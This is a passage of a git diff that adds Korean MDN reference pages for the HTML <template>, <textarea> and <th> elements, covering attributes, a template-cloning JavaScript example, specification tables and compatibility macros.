+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/template/index.html b/files/ko/web/html/element/template/index.html
new file mode 100644
index 0000000000..d1a7e32486
--- /dev/null
+++ b/files/ko/web/html/element/template/index.html
@@ -0,0 +1,165 @@
+---
+title: '<template>: 콘텐츠 템플릿 요소'
+slug: Web/HTML/Element/template
+tags:
+ - Element
+ - HTML
+ - HTML Web Components
+ - 'HTML:Flow content'
+ - 'HTML:Metadata content'
+ - 'HTML:Phrasing content'
+ - 'HTML:Script-supporting element'
+ - Reference
+ - Web
+ - Web Components
+ - 웹 컴포넌트
+translation_of: Web/HTML/Element/template
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;template&gt;</code> 요소</strong>는 페이지를 불러온 순간 즉시 그려지지는 않지만, 이후 JavaScript를 사용해 인스턴스를 생성할 수 있는 {{glossary("HTML")}} 코드를 담을 방법을 제공합니다.</p>
+
+<p>템플릿은 콘텐츠 조각을 나중에 사용하기 위해 담아놓는 컨테이너로 생각하세요. 페이지를 불러오는 동안 구문 분석기가 <code>&lt;template&gt;</code> 요소의 콘텐츠도 읽기는 하지만, 이는 유효성을 검증하기 위함이며 렌더링 하기 위함은 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#메타데이터_콘텐츠">메타데이터 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#스크립트_지원_요소">스크립트 지원 요소</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>제한 없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>메타데이터 콘텐츠, 구문 콘텐츠, 또는 스크립트 지원 요소를 허용하는 모든 요소. 또한, {{htmlattrxref("span", "colgroup")}} 특성이 없는 {{htmlelement("colgroup")}} 요소도 가능.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTemplateElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<p>다만, {{domxref("HTMLTemplateElement")}}는 읽기 전용 {{domxref("HTMLTemplateElement.content", "content")}} 속성을 가집니다. <code>content</code>는 템플릿이 담고 있는 DOM 하위 트리를 나타내는 {{domxref("DocumentFragment")}}입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>우선 예제의 HTML부터 보겠습니다.</p>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;td&gt;UPC_Code&lt;/td&gt;
+ &lt;td&gt;Product_Name&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;!-- 존재하는 데이터는 선택적으로 여기에 포함됩니다 --&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+ &lt;tr&gt;
+ &lt;td class="record"&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>먼저, 나중에 JavaScript 코드를 사용해 컨텐츠를 삽입할 테이블이 있습니다. 그 다음 테이블의 열을 표현하는 HTML 조각의 구조를 설명하는 템플릿이 옵니다.</p>
+
+<p>이제 테이블이 생성되었고 템플릿이 정의되었으므로, JavaScript 를 사용해 템플릿을 사용해 구성된 열을 기반으로 각 열을 테이블로 삽입합니다.</p>
+
+<pre class="brush: js">// 템플릿 엘리먼트의 컨텐츠 존재 유무를 통해
+// 브라우저가 HTML 템플릿 엘리먼트를 지원하는지 확인합니다
+if ('content' in document.createElement('template')) {
+
+ // 기존 HTML tbody 와 템플릿 열로 테이블을 인스턴스화합니다
+ var t = document.querySelector('#productrow');
+
+ // 새로운 열을 복제하고 테이블에 삽입합니다
+ var tb = document.querySelector("tbody");
+ var clone = document.importNode(t.content, true);
+ td = clone.querySelectorAll("td");
+ td[0].textContent = "1235646565";
+ td[1].textContent = "Stuff";
+
+ tb.appendChild(clone);
+
+ // 새로운 열을 복제하고 테이블에 삽입합니다
+ var clone2 = document.importNode(t.content, true);
+ td = clone2.querySelectorAll("td");
+ td[0].textContent = "0384928528";
+ td[1].textContent = "Acme Kidney Beans 2";
+
+ tb.appendChild(clone2);
+
+} else {
+ // HTML 템플릿 엘리먼트를 지원하지 않으므로
+  // 테이블에 열을 추가하는 다른 방법을 찾습니다.
+}</pre>
+
+<p>결과는 JavaScript 를 통해 추가된 두 개의 새로운 열을 포함하는 기존 HTML 테이블입니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+ background: #000;
+}
+table td {
+ background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", 500, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','scripting.html#the-template-element','template element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','semantics-scripting.html#the-template-element','template element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/element/textarea/index.html b/files/ko/web/html/element/textarea/index.html
new file mode 100644
index 0000000000..a59be6f9dc
--- /dev/null
+++ b/files/ko/web/html/element/textarea/index.html
@@ -0,0 +1,158 @@
+---
+title: <textarea>
+slug: Web/HTML/Element/textarea
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Web
+translation_of: Web/HTML/Element/textarea
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;textarea&gt;</code> 요소</strong>는 멀티라인 일반 텍스트 편집 컨트롤을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/textarea.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content" title="HTML/Content categories#Interactive content">대화형 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, <a href="/en/HTML/Content_categories#form_resettable" title="en/HTML/Content categories#form resettable">resettable</a>, and <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">form-associated</a> element.</li>
+ <li><dfn>허용되는 컨텐츠</dfn> 문자 데이터</li>
+ <li><dfn>태그 생략</dfn> {{no_tag_omission}}</li>
+ <li><dfn>허용되는 부모 요소</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">구문 컨텐츠</a>를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLTextAreaElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>This is a nonstandard attribute used by iOS Safari Mobile which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are:
+ <ul>
+ <li><code>none</code>: Completely disables automatic capitalization</li>
+ <li><code>sentences</code>: Automatically capitalize the first letter of sentences.</li>
+ <li><code>words</code>: Automatically capitalize the first letter of words.</li>
+ <li><code>characters</code>: Automatically capitalize all characters.</li>
+ <li><code>on</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+ <li><code>off</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute indicates whether the value of the control can be automatically completed by the browser. Possible values are:
+ <ul>
+ <li><code>off</code>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li>
+ <li><code>on</code>: The browser can automatically complete the value based on values that the user has entered during previous uses.</li>
+ </ul>
+
+ <p>If the <strong>autocomplete</strong> attribute is not specified on an textarea element, then the browser uses the <strong>autocomplete</strong> attribute value of the <code>&lt;textarea&gt;</code> element's form owner. The form owner is either the <code>form</code> element that this <code>&lt;textarea&gt;</code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p>
+ </dd>
+ <dt>{{ htmlattrdef("autofocus") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>이 불리언 속성은 페이지가 로드 됬을때, 포커스를 오버라이드(예:사용자가 다른 컨트롤에 타이핑) 하지 않는다면, 폼 컨트롤이 입력 포커스를 받을지를 지정합니다.문서에서 오직 하나의 폼 관련 요소만이 이 속성이 지정될수 있습니다.</dd>
+ <dt>{{ htmlattrdef("cols") }}</dt>
+ <dd>The visible width of the text control, in average character widths. If it is specified, it must be a positive integer. If it is not specified, the default value is <span style="font-family: courier new;">20</span> (HTML5).</dd>
+ <dt>{{ htmlattrdef("disabled") }}</dt>
+ <dd>사용자가 컨트롤과 상호작용할수 없다는것을 가리키는 불리언 속성 (만약 속성이 지정되지 않았다면, 이 요소를 포함하는 컨테이닝 요소(예: {{ HTMLElement("fieldset") }})에게서 값을 상속받습니다. 예를 들면, disabled 속성을 가진 컨테이닝 요소가 없다면, 컨트롤은 사용 가능합니다)</dd>
+ <dt>{{ htmlattrdef("form") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>The form element that the textarea element is associated with (its "form owner"). The value of the attribute must be an ID of a form element in the same document. If this attribute is not specified, the textarea element must be a descendant of a form element. This attribute enables you to place textarea elements anywhere within a document, not just as descendants of their form elements.</dd>
+ <dt>{{ htmlattrdef("maxlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>사용자가 입력할 수 있는 문자(Unicode code points)의 최대 개수. 만약 명시하지 않을 경우 사용자는 무한으로 입력 가능.</dd>
+ <dt>{{ htmlattrdef("minlength") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>사용자가 입력해야 할 문자(Unicode code points)의 최소 개수</dd>
+ <dt>{{ htmlattrdef("name") }}</dt>
+ <dd>컨트롤의 이름</dd>
+ <dt>{{ htmlattrdef("placeholder") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>A hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds.</dd>
+ <dt>{{ htmlattrdef("readonly") }}</dt>
+ <dd>이 불리언 속성은 사용자가 컨트롤의 값을 수정할수 없다는것을 가리킵니다. <code>disabled</code> 속성과는 다르게, <code>readonly</code> 속성은 사용자가 컨트롤을 클릭하거나 선택하는것을 막지 않습니다.<code> readonly</code> 컨트롤의 값은 여전히 폼과 함께 제출 됩니다..</dd>
+ <dt>{{ htmlattrdef("required") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>이 속성은 사용자가 폼을 제출하기 전에 반드시 채워야 한다는 것을 가리킵니다.</dd>
+ <dt>{{ htmlattrdef("rows") }}</dt>
+ <dd>The number of visible text lines for the control.</dd>
+ <dt>{{ htmlattrdef("selectionDirection") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>The direction in which selection occurred. This is "forward" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or "backward" if the selection was made in the opposite direction. This can be "none" if the selection direction is unknown.</dd>
+ <dt>{{ htmlattrdef("selectionEnd") }}</dt>
+ <dd>The index to the last character in the current selection.</dd>
+ <dt>{{ htmlattrdef("selectionStart") }}</dt>
+ <dd>The index to the first character in the current selection.</dd>
+ <dt>{{ htmlattrdef("spellcheck") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd>
+ <dt>{{ htmlattrdef("wrap") }} {{ HTMLVersionInline("5") }}</dt>
+ <dd>Indicates how the control wraps text. Possible values are:
+ <ul>
+ <li><span style="font-family: courier new;">hard</span>: The browser automatically inserts line breaks (CR+LF) so that each line has no more than the width of the control; the <code>cols</code> attribute must be specified.</li>
+ <li><span style="font-family: courier new;">soft</span>: The browser ensures that all line breaks in the value consist of a CR+LF pair, but does not insert any additional line breaks.</li>
+ </ul>
+
+ <p>If this attribute is not specified, <span style="font-family: courier new;">soft</span> is its default value.</p>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 <code><a href="/en/DOM/HTMLTextAreaElement" title="en/DOM/textarea">HTMLTextAreaElement</a></code> 인터페이스를 구현합니다.</p>
+
+<p>{{ h1_gecko_minversion("Resizable textareas", "2.0") }}</p>
+
+<p>{{ gecko("2.0") }} introduced support for resizable textareas. This is controlled by the {{ cssxref("resize") }} CSS property. Resizing of textareas is enabled by default, but you can explicitly disable it by including the following CSS:</p>
+
+<pre>textarea {
+ resize: none;
+}
+</pre>
+
+<h2 id="CSS와_상호작용_하기">CSS와 상호작용 하기</h2>
+
+<p>In regards to CSS, an <code>&lt;textarea&gt;</code> is a <a href="https://developer.mozilla.org/en-US/docs/CSS/Replaced_element" title="/en-US/docs/CSS/Replaced_element">replaced element</a>. The HTML specification doesn't define where the baseline of a <code>&lt;textarea&gt;</code> is. So different browsers set it to different positions. For Gecko, the <code>&lt;textarea&gt;</code> baseline is set on the baseline of the first line of the textarea's first line, on another browser it may be set on the bottom of the <code>&lt;textarea&gt;</code> box. Don't use {{cssxref("vertical-align")}}<code>: baseline</code> on it, as the behavior will be unpredictable.</p>
+
+<p><em>Textarea</em> 는 래스터 이미지 처럼 고유한 넓이를 가지고 있습니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;textarea name="textarea" rows="10" cols="50"&gt;Write something here&lt;/textarea&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example','600','200') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '&lt;textarea&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.textarea")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>다른 폼 관련 요소들: {{ HTMLElement("form") }}, {{ HTMLElement("button") }}, {{ HTMLElement("datalist") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("label") }}, {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }} and {{ HTMLElement("meter") }}.</p>
diff --git a/files/ko/web/html/element/th/index.html b/files/ko/web/html/element/th/index.html
new file mode 100644
index 0000000000..f2bafce38e
--- /dev/null
+++ b/files/ko/web/html/element/th/index.html
@@ -0,0 +1,226 @@
+---
+title: <th>
+slug: Web/HTML/Element/th
+tags:
+ - HTML
+ - 레퍼런스
+ - 요소
+ - 웹
+ - 표
+translation_of: Web/HTML/Element/th
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">The <strong>HTML <code>&lt;th&gt;</code> element</strong> defines a cell as header of a group of table cells. The exact nature of this group is defined by the {{htmlattrxref("scope", "th")}} and {{htmlattrxref("headers", "th")}} attributes.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/th.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content categories</a></th>
+ <td>None.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Flow content</a>, but with no header, footer, sectioning content, or heading content descendants.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>The start tag is mandatory.<br>
+ The end tag may be omitted, if it is immediately followed by a {{HTMLElement("th")}} or {{HTMLElement("td")}} element or if there are no more data in its parent element.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parents</th>
+ <td>A {{HTMLElement("tr")}} element.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted ARIA roles</th>
+ <td>Any</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLTableHeaderCellElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}}</dt>
+ <dd>This attribute contains a short abbreviated description of the cell's content. Some user-agents, such as speech readers, may present this description before the content itself.</dd>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This enumerated attribute specifies how the cell content's horizontal alignment will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>: The content is aligned to the left of the cell.</li>
+ <li><code>center</code>: The content is centered in the cell.</li>
+ <li><code>right</code>: The content is aligned to the right of the cell.</li>
+ <li><code>justify</code> (with text only): The content is stretched out inside the cell so that it covers its entire width.</li>
+ <li><code>char</code> (with text only): The content is aligned to a character inside the <code>&lt;th&gt;</code> element with minimal offset. This character is defined by the {{htmlattrxref("char", "th")}} and {{htmlattrxref("charoff", "th")}} attributes.</li>
+ </ul>
+
+ <p>The default value when this attribute is not specified is <code>left</code>.</p>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard.
+
+ <ul>
+ <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values, apply the CSS {{cssxref("text-align")}} property to the element.</li>
+ <li>To achieve the same effect as the <code>char</code> value, give the {{cssxref("text-align")}} property the same value you would use for the {{htmlattrxref("char", "th")}}. {{unimplemented_inline}} in CSS3.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute contains a list of space-separated strings. Each string is the <code>id</code> of a group of cells that this header applies to.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the {{htmlattrxref("scope", "th")}} attribute instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>This attribute defines the background color of each cell in a column. It consists of a 6-digit hexadecimal code as defined in <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a> and is prefixed by '#'. This attribute may be used with one of sixteen predefined color strings:
+ <table>
+ <tbody>
+ <tr>
+ <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>black</code> = "#000000"</td>
+ <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>green</code> = "#008000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>silver</code> = "#C0C0C0"</td>
+ <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>lime</code> = "#00FF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>gray</code> = "#808080"</td>
+ <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>olive</code> = "#808000"</td>
+ </tr>
+ <tr>
+ <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>white</code> = "#FFFFFF"</td>
+ <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>yellow</code> = "#FFFF00"</td>
+ </tr>
+ <tr>
+ <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>maroon</code> = "#800000"</td>
+ <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>navy</code> = "#000080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>red</code> = "#FF0000"</td>
+ <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>blue</code> = "#0000FF"</td>
+ </tr>
+ <tr>
+ <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>purple</code> = "#800080"</td>
+ <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>teal</code> = "#008080"</td>
+ </tr>
+ <tr>
+ <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>fuchsia</code> = "#FF00FF"</td>
+ <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+ <td><code>aqua</code> = "#00FFFF"</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note"><strong>Note:</strong> Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: The {{HTMLElement("th")}} element should be styled using <a href="/en-US/docs/Web/CSS">CSS</a>. To create a similar effect use the {{cssxref("background-color")}} property in <a href="/en-US/docs/Web/CSS">CSS</a> instead.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{obsolete_inline("html5")}}</dt>
+ <dd>The content in the cell element is aligned to a character. Typical values include a period (.) to align numbers or monetary values. If {{htmlattrxref("align", "th")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard. To achieve the same effect, you can specify the character as the first value of the {{cssxref("text-align")}} property, {{unimplemented_inline}} in CSS3.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to shift column data to the right of the character specified by the <strong>char</strong> attribute. Its value specifies the length of this shift.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is <code>1</code>. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).</dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>This attribute contains a list of space-separated strings, each corresponding to the <strong>id</strong> attribute of the {{HTMLElement("th")}} elements that apply to this element.</dd>
+ <dt>{{htmlattrdef("height")}} {{Deprecated_inline("html 4")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to define a recommended cell height.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("height")}} property instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the table section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, even if implicitly defined), that the cell belongs to. Values higher than 65534 are clipped down to 65534.</dd>
+ <dt>{{htmlattrdef("scope")}}</dt>
+ <dd>This enumerated attribute defines the cells that the header (defined in the {{HTMLElement("th")}}) element relates to. It may have the following values:
+ <ul>
+ <li><code>row</code>: The header relates to all cells of the row it belongs to.</li>
+ <li><code>col</code>: The header relates to all cells of the column it belongs to.</li>
+ <li><code>rowgroup</code>: The header belongs to a rowgroup and relates to all of its cells. These cells can be placed to the right or the left of the header, depending on the value of the <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> attribute in the {{HTMLElement("table")}} element.</li>
+ <li><code>colgroup</code>: The header belongs to a colgroup and relates to all of its cells.</li>
+ <li><code>auto</code></li>
+ </ul>
+
+ <p>The default value when this attribute is not specified is <code>auto</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("valign")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute specifies how a text is vertically aligned inside a cell. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>: Positions the text near the bottom of the cell and aligns it with the <a href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom. If characters don't descend below the baseline, the baseline value achieves the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>: Positions the text near the bottom of the cell.</li>
+ <li><code>middle</code>: Centers the text in the cell.</li>
+ <li>and <code>top</code>: Positions the text near the top of the cell.</li>
+ </ul>
+
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("vertical-align")}} property instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline("html 4")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to define a recommended cell width. Additional space can be added with the {{domxref("HTMLTableElement.cellSpacing", "cellspacing")}} and {{domxref("HTMLTableElement.cellPadding", "cellpadding")}} properties and the width of the {{HTMLElement("col")}} element can also create extra width. But, if a column's width is too narrow to show a particular cell properly, it will be widened when displayed.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("width")}} property instead.</div>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See {{HTMLElement("table")}} for examples on <code>&lt;th&gt;</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.th")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
